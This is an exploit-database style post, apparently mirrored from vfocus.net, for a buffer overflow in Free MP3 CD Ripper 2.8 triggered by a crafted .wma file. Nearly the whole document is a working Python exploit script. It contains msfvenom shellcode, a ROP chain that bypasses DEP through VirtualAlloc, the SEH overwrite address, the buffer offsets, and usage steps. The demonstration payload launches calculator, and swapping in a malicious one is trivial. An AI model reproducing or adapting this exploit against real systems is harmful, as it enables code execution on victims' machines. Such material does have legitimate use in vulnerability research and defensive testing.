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Free MP3 CD Ripper 2.8 - '.wma' Buffer Overflow (SEH) (DEP Bypass)
来源:vfocus.net 作者:Malvica 发布时间:2018-10-10  
# Exploit Title: Free MP3 CD Ripper 2.8 - '.wma' Buffer Overflow (SEH) (DEP Bypass)
# Date: 2018-10-08
# Exploit Author: Matteo Malvica
# Vendor: Cleanersoft Software
# Software Link: http://www.commentcamarche.net/download/telecharger-34082200-free-mp3-cd-ripper
# Tested Version: 2.8
# Tested on OS: Windows 7 - 64bit
# Modified SEH Exploit https://www.exploit-db.com/exploits/45412/
# CVE : N/A
#
# Steps:
# 0.  Turn DEP on and reboot
# I   Run the python script, it will create a new file with the name "exploit.wma".
# II  Start the program and click on "Convert".
# III Load the file "exploit.wma"
# IV  A shiny calculator will pop-up on your desktop
    
#!/usr/bin/python 
import struct
 
# msfvenom -p windows/exec  CMD=calc.exe -b '\x00\x0a\x0d\x2f' -f python
shellcode = ""
shellcode += "\xdb\xde\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x31\xba\xef"
shellcode += "\xc3\xbd\x59\x83\xc0\x04\x31\x50\x14\x03\x50\xfb\x21"
shellcode += "\x48\xa5\xeb\x24\xb3\x56\xeb\x48\x3d\xb3\xda\x48\x59"
shellcode += "\xb7\x4c\x79\x29\x95\x60\xf2\x7f\x0e\xf3\x76\xa8\x21"
shellcode += "\xb4\x3d\x8e\x0c\x45\x6d\xf2\x0f\xc5\x6c\x27\xf0\xf4"
shellcode += "\xbe\x3a\xf1\x31\xa2\xb7\xa3\xea\xa8\x6a\x54\x9f\xe5"
shellcode += "\xb6\xdf\xd3\xe8\xbe\x3c\xa3\x0b\xee\x92\xb8\x55\x30"
shellcode += "\x14\x6d\xee\x79\x0e\x72\xcb\x30\xa5\x40\xa7\xc2\x6f"
shellcode += "\x99\x48\x68\x4e\x16\xbb\x70\x96\x90\x24\x07\xee\xe3"
shellcode += "\xd9\x10\x35\x9e\x05\x94\xae\x38\xcd\x0e\x0b\xb9\x02"
shellcode += "\xc8\xd8\xb5\xef\x9e\x87\xd9\xee\x73\xbc\xe5\x7b\x72"
shellcode += "\x13\x6c\x3f\x51\xb7\x35\x9b\xf8\xee\x93\x4a\x04\xf0"
shellcode += "\x7c\x32\xa0\x7a\x90\x27\xd9\x20\xfe\xb6\x6f\x5f\x4c"
shellcode += "\xb8\x6f\x60\xe0\xd1\x5e\xeb\x6f\xa5\x5e\x3e\xd4\x59"
shellcode += "\x15\x63\x7c\xf2\xf0\xf1\x3d\x9f\x02\x2c\x01\xa6\x80"
shellcode += "\xc5\xf9\x5d\x98\xaf\xfc\x1a\x1e\x43\x8c\x33\xcb\x63"
shellcode += "\x23\x33\xde\x07\xa2\xa7\x82\xe9\x41\x40\x20\xf6"
 
def create_rop_chain():
    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
      0x00487219,  # POP EDX # RETN [fcrip.exe]
      0x004e9208,  # ptr to &VirtualAlloc() [IAT fcrip.exe]
      0x10007089,  # MOV EAX,DWORD PTR DS:[EDX] # RETN [libFLAC.dll]
      0x0040508e,  # XCHG EAX,ESI # RETN [fcrip.exe]
      0x004d9e5c,  # POP EBP # RETN [fcrip.exe]
      0x1000c5ce,  # & push esp # ret  [libFLAC.dll]
      0x00445aff,  # POP EBX # RETN [fcrip.exe]
      0x00000001,  # 0x00000001-> ebx
      0x00494012,  # POP EDX # RETN [fcrip.exe]
      0x00001000,  # 0x00001000-> edx
      0x004c2d76,  # POP ECX # RETN [fcrip.exe]
      0x00000040,  # 0x00000040-> ecx
      0x00409aa4,  # POP EDI # RETN [fcrip.exe]
      0x00412557,  # RETN (ROP NOP) [fcrip.exe]
      0x639d1575,  # POP EAX # RETN [vorbis.dll]
      0x90909090,  # nop
      0x00493619,  # PUSHAD # RETN [fcrip.exe]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
 
rop_chain = create_rop_chain()
nop_block = '\x90' * 8
total_buffer = 4444
offset = "A" * 3804
SEH = struct.pack('<L',0x639d2ad8) # 0x639d2ad8  # ADD ESP,45C # XOR EAX,EAX # POP EBX # POP ESI # POP EDI # POP EBP # RETN    ** [vorbis.dll] **
padding = "B" * (total_buffer  - len(SEH) - len(offset))
 
payload = offset + nop_block + rop_chain + nop_block * 2  + shellcode + "\xCC" * 4  + SEH + padding
 
try:
    f=open("exploit.wma","w")
    print "[+] Creating %s bytes of tiramisù payload..." %len(payload)
    f.write(payload)
    f.close()
    print "[+] High carb exploit created!"
except:
    print "Dessert cannot be created"
 
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